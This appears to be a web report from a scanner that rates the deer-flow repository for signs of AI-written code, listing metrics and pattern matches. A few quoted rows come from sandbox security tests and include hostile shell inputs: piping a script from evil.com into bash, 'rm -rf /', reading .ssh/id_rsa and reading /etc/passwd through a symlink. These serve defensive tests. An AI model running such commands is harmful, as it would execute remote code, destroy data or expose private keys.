bytedance/deer-flow

35.5

Adjusted Score

35.5

Raw Score

100%

Time Factor

2026-08-28

Last Push

81.1K

Stars

Python

Language

630.4K

Lines of Code

2.3K

Files

18.0K

Pattern Hits

2026-08-29

Scan Date

0.07

HC Hit Rate

What These Metrics Mean

Adjusted Score: Primary synthetic code indicator. Raw score normalised per 1,000 lines of code and multiplied by the temporal discount factor. This is the definitive comparative metric — use it to rank repositories by AI authorship density.
Raw Score: The unmodified sum of all severity-weighted, context-multiplied pattern match scores before temporal discounting. Reflects the absolute signal strength independent of when the repository was last active.
Time Factor: The temporal discount multiplier (0–100%) applied to the raw score. Repositories last updated before ChatGPT's launch (Nov 2022) receive a 5% factor. Full signal is only assigned to repositories active in the post-adoption era (Jan 2024+).
Pattern Hits: Total count of individual pattern matches across all files and categories. A high hit count with a low score may indicate a very large codebase with isolated AI snippets; a low count with a high score indicates dense, concentrated AI signatures.
HC Hit Rate: High+Critical pattern hits per file, averaged across the repository. This orthogonal signal catches repositories where a few files are densely packed with high-severity AI tells — a strong indicator even when the normalised score appears moderate due to codebase size.
Lines of Code / Files: Total lines and files analysed. The scanner examines 94 file extensions. These denominators are used to normalise the score, enabling fair comparison between repositories of vastly different sizes.

Score History

This chart maps the temporal evolution of the adjusted synthetic code score across successive scan runs. An upward trajectory indicates ongoing incorporation of AI-generated code or expanding LLM-assisted scaffolding; a stable or declining trajectory may reflect active human refactoring, code removal, or the adoption of stricter authorship policies. The dashed secondary line (right axis) independently tracks total raw pattern hit count, which can diverge from the normalised score when codebase size changes significantly between scans.

Severity Breakdown

Classifies detected patterns by their diagnostic confidence and structural impact. CRITICAL patterns (coefficient 10) represent definitive synthetic signatures — hallucinated imports, explicit LLM attribution metadata — virtually never produced by human authors. HIGH (5) indicates strong structural tells such as cross-file repetition or cross-linguistic idioms. MEDIUM (2) covers recognisable conversational padding and AI-specific vocabulary. LOW (1) captures subtle indicators like tautological comments and generic boilerplate that require density to carry independent signal.

CRITICAL 4HIGH 153MEDIUM 2099LOW 15735

Directory Score Breakdown

This horizontal bar chart decomposes the repository's raw synthetic code score by top-level directory, allowing you to pinpoint precisely which modules or components carry the highest AI authorship density. Directories with disproportionately high scores relative to their size warrant targeted manual review: concentrated AI signatures often trace back to mass-generated configuration layers, auto-ported test suites, LLM-scaffolded boilerplate classes, or entire subsystems authored under heavy copilot assistance. Use this view to prioritise your human code-review effort.

Pattern Findings

The scanner identified 17991 distinct pattern matches across 25 syntactic categories. Each entry below represents a discrete location in the source code where the engine recorded a statistically significant AI authorship indicator. Expand any category row to inspect the individual file paths, line numbers, code snippets, and the lexical context (CODE, COMMENT, or STRING) in which each match was detected.

Reading the findings table: The Severity column indicates the diagnostic confidence level (CRITICAL / HIGH / MEDIUM / LOW). The Context column identifies whether the match occurred inside executable code, an inline comment, or a string literal — comment-context matches receive a ×1.5 weight because LLMs systematically over-annotate. The ⚡ bolt icon marks clustered matches: three or more patterns within a 10-line window, each receiving an additional ×1.5 density multiplier as dense clusters constitute far stronger evidence of synthetic authorship than isolated hits.

Hyper-Verbose Identifiers12196 hits · 10960 pts

Severity	File	Line	Snippet	Context
LOW	docker/provisioner/app.py	153	def _host_base_dir_for_extra_mounts() -> str:	CODE
LOW	docker/provisioner/app.py	174	def _normalize_extra_mount_container_path(container_path: str) -> str:	CODE
LOW	docker/provisioner/app.py	219	def _lark_cli_runtime_enabled(provision_lark_cli_runtime: bool) -> bool:	CODE
LOW	docker/provisioner/app.py	229	def _runtime_provided_extra_mounts(	CODE
LOW	docker/provisioner/app.py	262	def _lark_broker_credential_mounts(extra_mounts: list["ExtraMount"] \| None) -> dict[str, "ExtraMount"]:	CODE
LOW	docker/provisioner/app.py	280	def _extra_mount_pvc_sub_path(host_path: str) -> str:	CODE
LOW	docker/provisioner/app.py	476	def _build_extra_volume_mounts(extra_mounts: list[ExtraMount] \| None = None) -> list[k8s_client.V1VolumeMount]:	CODE
LOW	docker/provisioner/app.py	719	def _build_lark_cli_init_containers(	CODE
LOW	docker/provisioner/app.py	766	def _build_lark_cli_broker_sidecars(	CODE
LOW	frontend/tests/unit/core/streamdown-plugins.test.ts	35	function renderMemorySummaryMarkdown(content: string) {	CODE
LOW	frontend/tests/unit/core/threads/stream-options.test.ts	3	async function captureThreadStreamOptions() {	CODE
LOW	…tests/unit/core/voice-input/speech-recognition.test.ts	98	function makeSpeechRecognitionConstructor(): SpeechRecognitionConstructor {	CODE
LOW	frontend/tests/unit/hooks/use-global-shortcuts.test.ts	5	async function loadHookWithCapturedHandler() {	CODE
LOW	frontend/tests/e2e/sidecar-chat.spec.ts	71	async function clickSelectionToolbarButton(page: Page, label: string) {	CODE
LOW	frontend/tests/e2e/sidecar-chat.spec.ts	89	async function selectTextAndClickToolbarButton(	CODE
LOW	frontend/tests/e2e/sidecar-chat.spec.ts	108	async function expectSidecarSelectionToolbarActions(page: Page, text: string) {	CODE
LOW	frontend/tests/e2e/sidecar-chat.spec.ts	134	async function expectComposerHeightsEqual(page: Page) {	CODE
LOW	frontend/tests/e2e/sidecar-chat.spec.ts	163	async function expectSidecarModelPinnedToSubmit(page: Page) {	CODE
LOW	frontend/tests/e2e/sidecar-chat.spec.ts	239	async function expectSidecarModelHiddenWhenCompact(page: Page) {	CODE
LOW	frontend/tests/e2e/sidecar-chat.spec.ts	289	async function expectSidecarScrollDoesNotAnimateAfterOpen(page: Page) {	CODE
LOW	frontend/tests/e2e/sidecar-chat.spec.ts	325	async function openSidecarAndExpectNoAnimatedScroll(page: Page) {	CODE
LOW	frontend/tests/e2e/streaming-reasoning-order.spec.ts	81	async function startHeldOpenStreamServer() {	CODE
LOW	frontend/tests/e2e/artifact-batched-stream.spec.ts	21	function batchedWriteFileStreamFrames() {	CODE
LOW	frontend/tests/e2e/artifact-batched-stream.spec.ts	107	async function startBatchedWriteFileStreamServer() {	CODE
LOW	frontend/src/core/clipboard.ts	76	async function readPlainTextFromClipboardItem(	CODE
LOW	frontend/src/core/clipboard.ts	103	function canDefineNavigatorClipboard(	CODE
LOW	frontend/src/core/workspace-changes/summary.ts	19	export function getWorkspaceChangeBadgeLabel(summary: WorkspaceChangeSummary) {	CODE
LOW	frontend/src/core/workspace-changes/summary.ts	24	export function getWorkspaceChangeLineClass(	CODE
LOW	frontend/src/core/settings/store.ts	41	function ensureStorageListenerRegistered() {	CODE
LOW	frontend/src/core/artifacts/loader.ts	118	export function loadArtifactContentFromToolCall({	CODE
LOW	frontend/src/core/artifacts/utils.ts	30	export function buildWriteFileArtifactURL({	CODE
LOW	frontend/src/core/artifacts/utils.ts	50	function decodeRelativeArtifactPath(filepath: string) {	CODE
LOW	frontend/src/core/artifacts/utils.ts	76	export function extractArtifactsFromThread(thread: {	CODE
LOW	frontend/src/core/artifacts/utils.ts	89	export function resolveMarkdownArtifactURL(src: string, threadId: string) {	CODE
LOW	frontend/src/core/artifacts/preview.ts	81	export function buildWriteFileDraftContent({	CODE
LOW	frontend/src/core/artifacts/preview.ts	167	export function appendHtmlPreviewBaseHref(	CODE
LOW	frontend/src/core/artifacts/preview.ts	205	export function createHtmlPreviewScrollKey(value: string) {	CODE
LOW	frontend/src/core/artifacts/preview.ts	221	function htmlScrollRestorationScript(messageKey: string) {	CODE
LOW	frontend/src/core/artifacts/preview.ts	264	export function appendHtmlPreviewScrollRestoration(	CODE
LOW	frontend/src/core/background-tasks/types.ts	54	export function shouldPollBackgroundTaskDetail(	CODE
LOW	frontend/src/core/tasks/subtask-result.ts	198	export function derivePendingSubtaskStatus(	CODE
LOW	frontend/src/core/tasks/subtask-result.ts	232	function hasStructuredSubagentMetadata(	CODE
LOW	frontend/src/core/tasks/subtask-result.ts	241	function readStructuredResultBrief(	CODE
LOW	frontend/src/core/messages/usage-model.ts	88	export function tokenUsagePreferencesFromPreset(	CODE
LOW	frontend/src/core/messages/usage-model.ts	212	function buildActionLabelsFromAttribution(	CODE
LOW	frontend/src/core/messages/usage-model.ts	221	function describeAttributionAction(	CODE
LOW	frontend/src/core/messages/usage-model.ts	307	function normalizeTokenUsageAttribution(	CODE
LOW	frontend/src/core/messages/usage-model.ts	345	function normalizeTokenUsageAttributionAction(	CODE
LOW	frontend/src/core/messages/usage-model.ts	430	function isTokenUsageAttributionKind(	CODE
LOW	frontend/src/core/messages/human-input.ts	74	export function shouldClearPendingHumanInputOnThreadError({	CODE
LOW	frontend/src/core/messages/human-input.ts	135	export function buildInitialHumanInputFormValues(	CODE
LOW	frontend/src/core/messages/human-input.ts	390	export function extractHumanInputResponse(	CODE
LOW	frontend/src/core/messages/human-input.ts	421	export function deriveHumanInputThreadState(	CODE
LOW	frontend/src/core/messages/human-input.ts	496	export function createHumanInputOptionResponse(	CODE
LOW	frontend/src/core/messages/human-input.ts	534	export function buildHumanInputFormSummary(	CODE
LOW	frontend/src/core/messages/human-input.ts	550	export function buildHumanInputFormSubmissionValue(	CODE
LOW	frontend/src/core/messages/human-input.ts	569	export function createHumanInputTextResponse(	CODE
LOW	frontend/src/core/messages/human-input.ts	583	export function buildHumanInputResponseText(	CODE
LOW	frontend/src/core/messages/derived-state.ts	88	export function deriveStableMessageGroups(	CODE
LOW	frontend/src/core/messages/derived-state.ts	174	export function deriveAssistantTurnUsageState(	CODE
12136 more matches not shown…

Decorative Section Separators1851 hits · 6571 pts

Severity	File	Line	Snippet	Context
MEDIUM⚡	config.example.yaml	13	# ============================================================================	COMMENT
MEDIUM⚡	config.example.yaml	15	# ============================================================================	COMMENT
MEDIUM⚡	config.example.yaml	20	# ============================================================================	COMMENT
MEDIUM⚡	config.example.yaml	22	# ============================================================================	COMMENT
MEDIUM⚡	config.example.yaml	51	# ============================================================================	COMMENT
MEDIUM⚡	config.example.yaml	53	# ============================================================================	COMMENT
MEDIUM⚡	config.example.yaml	59	# ============================================================================	COMMENT
MEDIUM⚡	config.example.yaml	61	# ============================================================================	COMMENT
MEDIUM⚡	config.example.yaml	68	# ============================================================================	COMMENT
MEDIUM⚡	config.example.yaml	70	# ============================================================================	COMMENT
MEDIUM⚡	config.example.yaml	83	# ============================================================================	COMMENT
MEDIUM⚡	config.example.yaml	85	# ============================================================================	COMMENT
MEDIUM⚡	config.example.yaml	95	# ============================================================================	COMMENT
MEDIUM⚡	config.example.yaml	97	# ============================================================================	COMMENT
MEDIUM⚡	config.example.yaml	708	# ============================================================================	COMMENT
MEDIUM⚡	config.example.yaml	710	# ============================================================================	COMMENT
MEDIUM⚡	config.example.yaml	1118	# ============================================================================	COMMENT
MEDIUM⚡	config.example.yaml	1120	# ============================================================================	COMMENT
MEDIUM⚡	config.example.yaml	1148	# ============================================================================	COMMENT
MEDIUM⚡	config.example.yaml	1150	# ============================================================================	COMMENT
MEDIUM⚡	config.example.yaml	1159	# ============================================================================	COMMENT
MEDIUM⚡	config.example.yaml	1161	# ============================================================================	COMMENT
MEDIUM⚡	config.example.yaml	1221	# ============================================================================	COMMENT
MEDIUM⚡	config.example.yaml	1223	# ============================================================================	COMMENT
MEDIUM⚡	config.example.yaml	1232	# ============================================================================	COMMENT
MEDIUM⚡	config.example.yaml	1234	# ============================================================================	COMMENT
MEDIUM⚡	config.example.yaml	1699	# ============================================================================	COMMENT
MEDIUM⚡	config.example.yaml	1701	# ============================================================================	COMMENT
MEDIUM⚡	config.example.yaml	1717	# ============================================================================	COMMENT
MEDIUM⚡	config.example.yaml	1719	# ============================================================================	COMMENT
MEDIUM⚡	config.example.yaml	1728	# ============================================================================	COMMENT
MEDIUM⚡	config.example.yaml	1730	# ============================================================================	COMMENT
MEDIUM⚡	config.example.yaml	1992	# ============================================================================	COMMENT
MEDIUM⚡	config.example.yaml	1994	# ============================================================================	COMMENT
MEDIUM⚡	config.example.yaml	2000	# ============================================================================	COMMENT
MEDIUM⚡	config.example.yaml	2002	# ============================================================================	COMMENT
MEDIUM⚡	config.example.yaml	2009	# ============================================================================	COMMENT
MEDIUM⚡	config.example.yaml	2011	# ============================================================================	COMMENT
MEDIUM⚡	config.example.yaml	2542	# ============================================================================	COMMENT
MEDIUM⚡	config.example.yaml	2544	# ============================================================================	COMMENT
MEDIUM⚡	config.example.yaml	2577	# ============================================================================	COMMENT
MEDIUM⚡	config.example.yaml	2579	# ============================================================================	COMMENT
MEDIUM	config.example.yaml	33	# ============================================================================	COMMENT
MEDIUM	config.example.yaml	35	# ============================================================================	COMMENT
MEDIUM	config.example.yaml	695	# ============================================================================	COMMENT
MEDIUM	config.example.yaml	697	# ============================================================================	COMMENT
MEDIUM	config.example.yaml	1102	# ============================================================================	COMMENT
MEDIUM	config.example.yaml	1104	# ============================================================================	COMMENT
MEDIUM	config.example.yaml	1173	# ============================================================================	COMMENT
MEDIUM	config.example.yaml	1175	# ============================================================================	COMMENT
MEDIUM	config.example.yaml	1196	# ============================================================================	COMMENT
MEDIUM	config.example.yaml	1198	# ============================================================================	COMMENT
MEDIUM	config.example.yaml	1267	# ============================================================================	COMMENT
MEDIUM	config.example.yaml	1269	# ============================================================================	COMMENT
MEDIUM	config.example.yaml	1517	# ============================================================================	COMMENT
MEDIUM	config.example.yaml	1519	# ============================================================================	COMMENT
MEDIUM	config.example.yaml	1622	# ============================================================================	COMMENT
MEDIUM	config.example.yaml	1624	# ============================================================================	COMMENT
MEDIUM	config.example.yaml	1637	# ============================================================================	COMMENT
MEDIUM	config.example.yaml	1639	# ============================================================================	COMMENT
1791 more matches not shown…

Unused Imports1213 hits · 1133 pts

Severity	File	Line	Context
LOW	docker/provisioner/app.py	30	CODE
LOW	backend/sitecustomize.py	8	CODE
LOW	backend/app/subagent_batches/service.py	3	CODE
LOW	backend/app/subagent_batches/__init__.py	1	CODE
LOW	backend/app/scheduler/service.py	1	CODE
LOW	backend/app/scheduler/__init__.py	1	CODE
LOW	backend/app/mcp_tasks/service.py	1	CODE
LOW	backend/app/mcp_tasks/__init__.py	1	CODE
LOW	backend/app/gateway/browser_capability.py	3	CODE
LOW	backend/app/gateway/deps.py	18	CODE
LOW	backend/app/gateway/services.py	8	CODE
LOW	backend/app/gateway/context_usage.py	3	CODE
LOW	backend/app/gateway/__init__.py	1	CODE
LOW	backend/app/gateway/__init__.py	1	CODE
LOW	backend/app/gateway/auth_disabled.py	3	CODE
LOW	backend/app/gateway/internal_auth.py	3	CODE
LOW	backend/app/gateway/pagination.py	3	CODE
LOW	backend/app/gateway/run_models.py	3	CODE
LOW	backend/app/gateway/checkpoint_lineage.py	3	CODE
LOW	backend/app/gateway/authz.py	30	CODE
LOW	backend/app/gateway/trace_middleware.py	3	CODE
LOW	backend/app/gateway/routers/subagents.py	3	CODE
LOW	backend/app/gateway/routers/thread_runs.py	12	CODE
LOW	backend/app/gateway/routers/scheduled_tasks.py	1	CODE
LOW	backend/app/gateway/routers/feedback.py	7	CODE
LOW	backend/app/gateway/routers/channel_connections.py	3	CODE
LOW	backend/app/gateway/routers/__init__.py	1	CODE
LOW	backend/app/gateway/routers/__init__.py	1	CODE
LOW	backend/app/gateway/routers/__init__.py	1	CODE
LOW	backend/app/gateway/routers/__init__.py	1	CODE
LOW	backend/app/gateway/routers/__init__.py	1	CODE
LOW	backend/app/gateway/routers/__init__.py	1	CODE
LOW	backend/app/gateway/routers/__init__.py	1	CODE
LOW	backend/app/gateway/routers/__init__.py	1	CODE
LOW	backend/app/gateway/routers/__init__.py	1	CODE
LOW	backend/app/gateway/routers/__init__.py	1	CODE
LOW	backend/app/gateway/routers/__init__.py	1	CODE
LOW	backend/app/gateway/routers/__init__.py	1	CODE
LOW	backend/app/gateway/routers/__init__.py	1	CODE
LOW	backend/app/gateway/routers/assistants_compat.py	10	CODE
LOW	backend/app/gateway/routers/subagent_batches.py	3	CODE
LOW	backend/app/gateway/routers/threads.py	13	CODE
LOW	backend/app/gateway/routers/mcp_tasks.py	3	CODE
LOW	backend/app/gateway/routers/channels.py	3	CODE
LOW	backend/app/gateway/routers/github_webhooks.py	26	CODE
LOW	backend/app/gateway/routers/runs.py	8	CODE
LOW	backend/app/gateway/auth/oidc.py	7	CODE
LOW	backend/app/gateway/auth/oidc_state.py	8	CODE
LOW	backend/app/gateway/auth/__init__.py	9	CODE
LOW	backend/app/gateway/auth/__init__.py	9	CODE
LOW	backend/app/gateway/auth/__init__.py	9	CODE
LOW	backend/app/gateway/auth/__init__.py	10	CODE
LOW	backend/app/gateway/auth/__init__.py	10	CODE
LOW	backend/app/gateway/auth/__init__.py	10	CODE
LOW	backend/app/gateway/auth/__init__.py	11	CODE
LOW	backend/app/gateway/auth/__init__.py	11	CODE
LOW	backend/app/gateway/auth/__init__.py	11	CODE
LOW	backend/app/gateway/auth/__init__.py	12	CODE
LOW	backend/app/gateway/auth/__init__.py	13	CODE
LOW	backend/app/gateway/auth/__init__.py	13	CODE
1153 more matches not shown…

Excessive Try-Catch Wrapping989 hits · 950 pts

Severity	File	Line	Snippet	Context
LOW	docker/provisioner/app.py	309	except Exception as exc:	CODE
LOW	docker/provisioner/app.py	315	except Exception as exc:	CODE
LOW	backend/debug.py	89	except Exception as e:	CODE
LOW	backend/debug.py	160	except Exception as e:	CODE
LOW	backend/app/scheduler/service.py	294	except Exception as exc:	CODE
LOW	backend/app/scheduler/service.py	328	except Exception:	CODE
LOW	backend/app/scheduler/service.py	354	except Exception:	CODE
LOW	backend/app/scheduler/service.py	559	except Exception:	CODE
LOW	backend/app/scheduler/service.py	568	except Exception:	CODE
LOW	backend/app/scheduler/service.py	583	except Exception:	CODE
LOW	backend/app/scheduler/service.py	593	except Exception:	CODE
LOW	backend/app/scheduler/service.py	607	except Exception:	CODE
LOW	backend/app/mcp_tasks/service.py	154	except Exception:	CODE
LOW	backend/app/mcp_tasks/service.py	342	except Exception as exc: # noqa: BLE001 - remote cancellation is retryable	CODE
LOW	backend/app/mcp_tasks/service.py	385	except Exception: # noqa: BLE001 - retain the original task-scoped failure	CODE
LOW	backend/app/mcp_tasks/service.py	481	except Exception as exc: # noqa: BLE001 - retry the same idempotency key	CODE
LOW	backend/app/mcp_tasks/service.py	532	except Exception as exc: # noqa: BLE001 - driver boundary; retry on the next poll	CODE
LOW	backend/app/mcp_tasks/service.py	668	except Exception:	CODE
MEDIUM	backend/app/gateway/deps.py	425	def reset_notify_loop_safely() -> None:	CODE
LOW⚡	backend/app/gateway/deps.py	185	except Exception:	CODE
LOW⚡	backend/app/gateway/deps.py	188	except Exception:	CODE
LOW⚡	backend/app/gateway/deps.py	232	except Exception:	CODE
LOW⚡	backend/app/gateway/deps.py	305	except Exception:	CODE
LOW⚡	backend/app/gateway/deps.py	312	except Exception:	CODE
LOW	backend/app/gateway/deps.py	208	except Exception:	CODE
LOW	backend/app/gateway/deps.py	212	except Exception:	CODE
LOW	backend/app/gateway/deps.py	363	except Exception as exc: # noqa: BLE001 - request boundary: log and degrade gracefully	CODE
LOW	backend/app/gateway/deps.py	421	except Exception:	CODE
LOW	backend/app/gateway/deps.py	428	except Exception:	CODE
LOW⚡	backend/app/gateway/services.py	207	except Exception:	CODE
LOW⚡	backend/app/gateway/services.py	467	except Exception:	CODE
LOW⚡	backend/app/gateway/services.py	590	except Exception:	CODE
LOW	backend/app/gateway/services.py	164	except Exception:	CODE
LOW	backend/app/gateway/services.py	623	except Exception:	CODE
LOW	backend/app/gateway/services.py	838	except Exception:	CODE
LOW	backend/app/gateway/services.py	945	except Exception:	CODE
LOW	backend/app/gateway/services.py	985	except Exception:	CODE
LOW	backend/app/gateway/services.py	1087	except Exception as exc:	CODE
LOW	backend/app/gateway/services.py	1314	except Exception as exc:	CODE
LOW	backend/app/gateway/services.py	1411	except Exception as exc:	CODE
LOW⚡	backend/app/gateway/context_usage.py	39	except Exception:	CODE
LOW	backend/app/gateway/context_usage.py	72	except Exception:	CODE
LOW	backend/app/gateway/context_usage.py	78	except Exception:	CODE
LOW⚡	backend/app/gateway/app.py	450	except Exception:	CODE
LOW⚡	backend/app/gateway/app.py	456	except Exception:	CODE
LOW⚡	backend/app/gateway/app.py	463	except Exception:	CODE
LOW	backend/app/gateway/app.py	140	except Exception:	CODE
LOW	backend/app/gateway/app.py	189	except Exception:	CODE
LOW	backend/app/gateway/app.py	221	except Exception as e:	CODE
LOW	backend/app/gateway/app.py	241	except Exception: # observability must never break startup	CODE
LOW	backend/app/gateway/app.py	261	except Exception:	CODE
LOW	backend/app/gateway/app.py	289	except Exception:	CODE
LOW	backend/app/gateway/app.py	296	except Exception:	CODE
LOW	backend/app/gateway/app.py	325	except Exception:	CODE
LOW	backend/app/gateway/app.py	347	except Exception:	CODE
LOW	backend/app/gateway/app.py	434	except Exception:	CODE
LOW	backend/app/gateway/app.py	477	except Exception:	CODE
LOW	backend/app/gateway/app.py	498	except Exception:	CODE
LOW	backend/app/gateway/app.py	546	except Exception:	CODE
LOW	backend/app/gateway/app.py	564	except Exception:	CODE
929 more matches not shown…

Cross-Language Confusion84 hits · 518 pts

Severity	File	Line	Snippet	Context
HIGH	backend/debug.py	10	cd backend && PYTHONPATH=. uv run python debug.py	STRING
HIGH⚡	backend/tests/test_sandbox_tools_security.py	546	("ls /mnt/user-data && pwd", "ls /tmp/deer-flow/threads/t1/user-data && pwd"),	CODE
HIGH⚡	backend/tests/test_sandbox_tools_security.py	569	"cd /mnt/user-data/workspace && git clone https://github.com/CherryHQ/cherry-studio.git",	CODE
HIGH⚡	backend/tests/test_sandbox_tools_security.py	584	"/bin/echo ok > /mnt/user-data/workspace/out.txt && cat /dev/null",	CODE
HIGH⚡	backend/tests/test_sandbox_tools_security.py	634	validate_local_bash_command_paths("cd $HOME && cat .ssh/id_rsa", _THREAD_DATA)	CODE
HIGH⚡	backend/tests/test_sandbox_tools_security.py	639	validate_local_bash_command_paths("echo ok\ncd $HOME && cat .ssh/id_rsa", _THREAD_DATA)	CODE
HIGH⚡	backend/tests/test_sandbox_tools_security.py	646	"builtin cd $HOME && cat .ssh/id_rsa",	CODE
HIGH⚡	backend/tests/test_sandbox_tools_security.py	649	'echo "$(cd $HOME && cat .ssh/id_rsa)"',	CODE
HIGH⚡	backend/tests/test_sandbox_tools_security.py	661	"ln -s / root && cat root/etc/passwd",	CODE
HIGH⚡	backend/tests/test_sandbox_tools_security.py	683	"mkdir -p reports && python script.py data/input.csv > reports/out.txt",	CODE
HIGH⚡	backend/tests/test_sandbox_tools_security.py	690	"cd /mnt/user-data/workspace && cat data/input.csv > reports/out.txt",	CODE
HIGH⚡	backend/tests/test_tool_result_meta.py	343	content = '{"error": null, "query": "test"}'	CODE
HIGH⚡	backend/tests/test_run_worker_rollback.py	233	assert batcher.push((first, {})) == []	CODE
HIGH⚡	backend/tests/test_run_worker_rollback.py	234	published = batcher.push((continuation, {}))	CODE
HIGH⚡	backend/tests/test_run_worker_rollback.py	271	assert batcher.push((visible_text, {})) == [(visible_text, {})]	CODE
HIGH⚡	backend/tests/test_run_worker_rollback.py	272	assert batcher.push((search_tool, {})) == [(search_tool, {})]	CODE
HIGH⚡	backend/tests/test_run_worker_rollback.py	273	visible_reasoning = batcher.push((write_with_reasoning, {}))	CODE
HIGH⚡	backend/tests/test_run_worker_rollback.py	297	assert batcher.push((first, {"langgraph_checkpoint_ns": "task-a"})) == []	CODE
HIGH⚡	backend/tests/test_run_worker_rollback.py	298	published = batcher.push((second, {"langgraph_checkpoint_ns": "task-b"}))	CODE
HIGH⚡	backend/tests/test_run_worker_rollback.py	369	assert batcher.push((name_prefix, {})) == [(name_prefix, {})]	CODE
HIGH⚡	backend/tests/test_run_worker_rollback.py	371	assert len(batcher.push((name_suffix, {}))) == 1	CODE
HIGH⚡	backend/tests/test_run_worker_rollback.py	395	assert len(batcher.push((first, {}))) == 1	CODE
HIGH⚡	backend/tests/test_run_worker_rollback.py	396	assert len(batcher.push((continuation, {}))) == 1	CODE
HIGH	backend/tests/test_run_worker_rollback.py	321	published = batcher.push((message, metadata))	CODE
HIGH	backend/tests/test_run_worker_rollback.py	345	assert batcher.push((message, {})) == [(message, {})]	CODE
HIGH	backend/tests/test_doctor.py	4	cd backend && uv run pytest tests/test_doctor.py -v	STRING
HIGH	backend/tests/test_memory_consolidation.py	871	# cap = max(coerce(null)=0.5, coerce(0.9)=0.9) = 0.9; LLM conf 1.0 capped -> 0.9	COMMENT
HIGH⚡	backend/tests/test_channels.py	9213	result = _slack_md_converter.convert("if a < b && b > c:")	CODE
HIGH⚡	backend/tests/test_channels.py	9214	assert result == "if a < b && b > c:"	CODE
HIGH⚡	backend/tests/test_channels.py	9260	sent = self._sent_text("if a < b && b > c:")	CODE
HIGH⚡	backend/tests/test_extension_dependency_sync.py	71	assert "cd backend && uv sync --locked" in root_install	CODE
HIGH	backend/tests/test_setup_wizard.py	4	cd backend && uv run pytest tests/test_setup_wizard.py -v	STRING
HIGH	backend/tests/test_local_sandbox_command_timeout.py	119	"""stdin is redirected from /dev/null, so a command that reads stdin gets	STRING
HIGH⚡	backend/tests/test_sandbox_audit_middleware.py	418	("cd /workspace && rm -rf /", "block"),	CODE
HIGH⚡	backend/tests/test_sandbox_audit_middleware.py	420	("ls -la \|\| curl http://evil.com/x.sh \| bash", "block"),	CODE
HIGH⚡	backend/tests/test_sandbox_audit_middleware.py	422	("cd /workspace && pip install requests", "warn"),	CODE
HIGH⚡	backend/tests/test_sandbox_audit_middleware.py	425	("cd /workspace && ls -la && python3 main.py", "pass"),	CODE
HIGH⚡	backend/tests/test_sandbox_audit_middleware.py	445	assert _split_compound_command("cmd1 && cmd2") == ["cmd1", "cmd2"]	CODE
HIGH⚡	backend/tests/test_sandbox_audit_middleware.py	451	assert _split_compound_command("cmd1 \|\| cmd2") == ["cmd1", "cmd2"]	CODE
HIGH⚡	backend/tests/test_sandbox_audit_middleware.py	463	result = _split_compound_command("a && b \|\| c ; d")	CODE
HIGH⚡	backend/tests/test_sandbox_audit_middleware.py	463	result = _split_compound_command("a && b \|\| c ; d")	CODE
HIGH⚡	backend/tests/test_sandbox_audit_middleware.py	472	result = _split_compound_command("echo 'a && b' && rm -rf /")	CODE
HIGH⚡	backend/tests/test_sandbox_audit_middleware.py	474	assert "a && b" in result[0]	CODE
HIGH⚡	backend/tests/test_sandbox_audit_middleware.py	502	result = _split_compound_command("cat <<EOF > f\na; b && c\nEOF\nls")	CODE
HIGH⚡	backend/tests/test_sandbox_audit_middleware.py	503	assert result == ["cat <<EOF > f\na; b && c\nEOF", "ls"]	CODE
HIGH⚡	backend/tests/test_sandbox_audit_middleware.py	825	("cd /workspace && rm -rf /", True),	CODE
HIGH⚡	backend/tests/test_sandbox_audit_middleware.py	827	("cd /workspace && pip install requests", False), # warn, not block	CODE
HIGH⚡	backend/tests/test_sandbox_audit_middleware.py	828	("cd /workspace && ls -la && python3 main.py", False), # all safe	CODE
HIGH	backend/tests/test_sandbox_audit_middleware.py	386	"cd /mnt/user-data/workspace && python3 main.py",	CODE
HIGH	backend/tests/test_sandbox_audit_middleware.py	970	"cd /mnt/user-data/workspace && python3 main.py",	CODE
HIGH	backend/tests/test_pnpm_script.py	142	assert "cd frontend && pnpm install" not in result.stdout	CODE
HIGH⚡	backend/tests/test_gateway_services.py	2688	"""When caller sends context=null, treat it as an empty context object."""	STRING
HIGH	backend/packages/harness/deerflow/runtime/converters.py	27	- AIMessage (with tool_calls) → {"role": "assistant", "content": null, "tool_calls": [...]}	STRING
HIGH	…ckages/harness/deerflow/runtime/stream_bridge/redis.py	24	" cd backend && uv sync --all-packages --extra redis\n"	CODE
HIGH	…ckend/packages/harness/deerflow/runtime/runs/worker.py	2514	chunks_to_publish = file_tool_chunk_batcher.push(chunk) if mode == "messages" and file_tool_chunk_batcher is not Non	CODE
HIGH	…agents/memory/backends/deermem/deermem/core/updater.py	69	arithmetic and crash max(). This helper guards against null, bool, non-numeric,	STRING
HIGH	…eerflow/agents/middlewares/sandbox_audit_middleware.py	338	2. Then split compound commands (e.g. ``cmd1 && cmd2 ; cmd3``) and	STRING
HIGH⚡	…ow/agents/middlewares/tool_output_budget_middleware.py	205	check = sandbox.execute_command(f"test -s {shlex.quote(virtual_path)} && echo OK \|\| echo MISSING")	CODE
HIGH	backend/packages/harness/deerflow/sandbox/tools.py	1217	and device references (e.g. /bin/sh, /dev/null).	STRING
HIGH	…d/packages/harness/deerflow/persistence/json_compat.py	64	Missing keys differ from explicit JSON null, booleans differ from integers,	STRING
24 more matches not shown…

Modern Structural Boilerplate396 hits · 406 pts

Severity	File	Line	Snippet	Context
LOW	docker/provisioner/app.py	50	logger = logging.getLogger(__name__)	CODE
LOW	backend/debug.py	37	def _setup_logging(log_level: int = logging.INFO) -> None:	CODE
LOW	backend/app/subagent_batches/service.py	5	__all__ = ["SubagentBatchService"]	CODE
LOW	backend/app/subagent_batches/__init__.py	3	__all__ = ["SubagentBatchService"]	CODE
LOW	backend/app/scheduler/service.py	17	logger = logging.getLogger(__name__)	CODE
LOW	backend/app/scheduler/__init__.py	3	__all__ = ["ScheduledTaskService"]	CODE
LOW	backend/app/mcp_tasks/service.py	31	logger = logging.getLogger(__name__)	CODE
LOW	backend/app/mcp_tasks/__init__.py	3	__all__ = ["McpTaskService"]	CODE
LOW	backend/app/gateway/deps.py	37	logger = logging.getLogger(__name__)	CODE
LOW	backend/app/gateway/services.py	81	logger = logging.getLogger(__name__)	CODE
LOW	backend/app/gateway/langgraph_studio.py	22	logger = logging.getLogger(__name__)	CODE
LOW⚡	backend/app/gateway/context_usage.py	14	logger = logging.getLogger(__name__)	CODE
LOW	backend/app/gateway/__init__.py	3	__all__ = ["app", "create_app", "GatewayConfig", "get_gateway_config"]	CODE
LOW⚡	backend/app/gateway/auth_disabled.py	22	logger = logging.getLogger(__name__)	CODE
LOW	backend/app/gateway/app.py	60	logger = logging.getLogger(__name__)	CODE
